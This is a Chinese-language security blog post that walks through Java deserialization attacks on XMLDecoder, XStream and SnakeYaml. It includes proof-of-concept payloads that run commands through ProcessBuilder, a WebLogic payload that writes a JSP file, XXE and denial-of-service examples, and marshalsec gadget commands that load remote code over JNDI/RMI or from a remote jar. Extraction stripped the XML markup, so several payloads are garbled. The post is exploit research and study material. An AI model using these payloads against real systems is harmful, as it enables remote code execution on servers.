哔哔两句
前面把反序列化漏洞里的一大巨头“JSON”的主要问题给总结了一下,XML 和 YAML 在反序列化漏洞中也能算得上是个很常见的问题。
我例举出几个几个 XML 和 YAML 的反序列化漏洞。XMLDecoder
XStream
SnakeYaml
在我遇到的项目里,这三个依赖库最常见。
其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。
下面我对这3个类库的漏洞做一个演示和分析
XMLDecoder
在 Weblogic 前几次曝光的漏洞中,就是 XMLDecoder 导致的。XMLDecoder 是 JDK 的一个对象转XML的工具。
我先写上两段简单的demo。
Encodeimport java.beans.XMLEncoder;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
/**
* @author 浅蓝
* @email blue@ixsec.org
* @since 2019/4/24 12:09
*/
public class Test {
public static void main(String[] args) throws IOException, InterruptedException {
HashMap map = new HashMap<>();
map.put("123","aaaa");
map.put("321",new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
}
这是一段用 XMLEncoder 生成 hashmap 对象 xml 的代码。
123
aaaa
321
再拿这个生成的xml,用XMLDecoder解析/**
* @author 浅蓝
* @email blue@ixsec.org
* @since 2019/4/24 12:09
*/
public class Test {
public static void main(String[] args) throws IOException, InterruptedException {
String s = "\n" +
" \n" +
" \n" +
" 123\n" +
" aaaa\n" +
" \n" +
" \n" +
" 321\n" +
" \n" +
" \n" +
" \n" +
"";
StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
输出的结果是{123=aaaa, 321=[]}
成功把刚才的map对象给反序列化回来了。
自己看一下生成出来的 xml 稍微懂点代码的都能看得出来,标签里指定了类名,方法名,参数等信息。
所以可以完全可以通过修改他们来去执行代码了。
calc
比如这就是一个执行 calc 命令的 payload。
看代码里的 object 标签,class 的值就是要被实例化的全类名
array 标签里就是 ProcessBuilder 对象的构造参数
然后 void 标签指定了 method 参数为 start
这些加起来,相当于执行了new java.lang.ProcessBuilder(new String[]{"calc"}).start();
现在再看 weblogic XMLDecoder 的一些 payload 就很容易看懂了
比如
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp
转成代码实际上就是java.io.PrintWriter x = new java.io.PrintWriter("servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp");
x.println("blue");
x.close();
XStream
XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。
比较出名的几个项目 Bamboo 、 Struts2 、Jenkins 都有用到它,且曝出过漏洞。
XStream 有几个 CVE ,分别是 RCE、XXE、DOS,由于主题是反序列化,所以不过多介绍 XXE 和 DOS。
XXE
影响 1.4.8 及之前版本。com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();
String x = "\n" +
"\n" +
"%xxe;]>\n" +
"1";
domDriver.createReader(new StringReader(x));
DOS
影响 1.4.9 及之前版本XStream xstream = new XStream();
xstream.fromXML("");
xstream.fromXML("Hello, world!");
RCE
它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。
最近还有一个新的 CVE 编号 CVE-2019-10173,给出的 payload 和 CVE-2013-7285 没啥区别。
应该是 1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法 初始化安全框架的功能。
但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。XStream xstream = new XStream();
String x = "\n" +
" \n" +
" java.lang.Comparable\n" +
" \n" +
" \n" +
" \n" +
" calc\n" +
" \n" +
" \n" +
" start\n" +
" \n" +
" \n" +
"";
xstream.fromXML(x);
使用 1.4.10 版本解析这个 POC,就会执行 calc 命令。
其实 java unmarshal 反序列化利用工具“marshalsec” 里就可以生成 XStream 的很多 gadgets。
CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBe
an
实现的这些接口都是可以生成的 gadgets。
其中一般项目中比较常见的有 SpringAbstractBeanFactoryPointcutAdvisor、CommonsBeanutils、ImageIO、SpringPartiallyComparableAdvisorHolder
ImageIOjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc
0
false
0
calc
false
java.lang.ProcessBuilder
start
foo
foo
false
0
0
false
false
0
用 1.4.10 版本的 XStream 解析这段 POC 就会执行 calc 命令,因为POC加载的类有包含“javax.crypto.”包名,被列入了 XStream 的黑名单,所以无法在 > 1.4.10 版本中触发。
CommonsBeanutilsjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp
2
databaseMetaData
3
1008
true
1000
0
2
0
0
0
true
1004
false
rmi://127.0.0.1:2333/exp
-1
-1
-1
-1
-1
-1
-1
-1
-1
-1
foo
CommonsBeanutils 的这个 gadgets 利用的是 JNDI,并且没有类在黑名单里,所以可以打全版本,用最新的 1.4.11.1 都可以,只要没用 XStream.setupDefaultSecurity。
SpringPartiallyComparableAdvisorHolderjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringPartiallyComparableAdvisorHolder rmi://127.0.0.1:2333/exp
false
0
0
0
true
rmi://127.0.0.1:2333/exp
rmi://127.0.0.1:2333/exp
java.lang.Object
toString
疵
SpringPartiallyComparableAdvisorHolder 利用 JNDI 执行代码,需要 spring aop 依赖,可影响到 1.4.11 最新版本。
SpringAbstractBeanFactoryPointcutAdvisorjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:2333/exp
rmi://127.0.0.1:2333/exp
true
rmi://127.0.0.1:2333/exp
SpringAbstractBeanFactoryPointcutAdvisor 同样是利用 JNDI 执行代码,需要有 spring aop 的依赖,可影响到 1.4.11 最新版本。
SnakeYaml
大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。
使用方法
先导入 snakeyaml 依赖
org.yaml
snakeyaml
1.17
然后输出序列化一个 javabeanYaml yaml = new Yaml();
Person person = new Person();
person.name="giao";
person.length=18;
String dump = yaml.dump(person);
System.out.println(dump);
输出结果为 !!simple.Person {length: 18, name: giao}
!!后面跟全类名,{}里是属性名和属性值,中间使用逗号分隔。
其实跟 jackson 和 fastjson 没啥区别。
特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets。
所以在 jackson、fastjson 这些 unmarshal 一类的 gadgets 大部分都可以拿来就用。
比如最常见的JdbcRowSetImpl。!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2333/exp', autoCommit: true}
注意在构造 payload 的时候,该留空格的地方要留空格,snakeyaml 对格式校验比较严格,不然会报错。
反序列化利用工具 marshalsec 也提供了 snakeyaml 的一些 gadgets。[SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean, CommonsConfiguration, C3P0WrapperConnPool, C3P0RefDataSource, JdbcRowSet, ScriptEngine, ResourceGadget]
大多数都是利用 JNDI 执行代码的,jdk 的有一个 ScriptEngine ,利用的是远程加载 jar 包。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.SnakeYAML ScriptEngine http://127.0.0.1:2333/!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
总结
没得总结,懒得写了,就这样吧!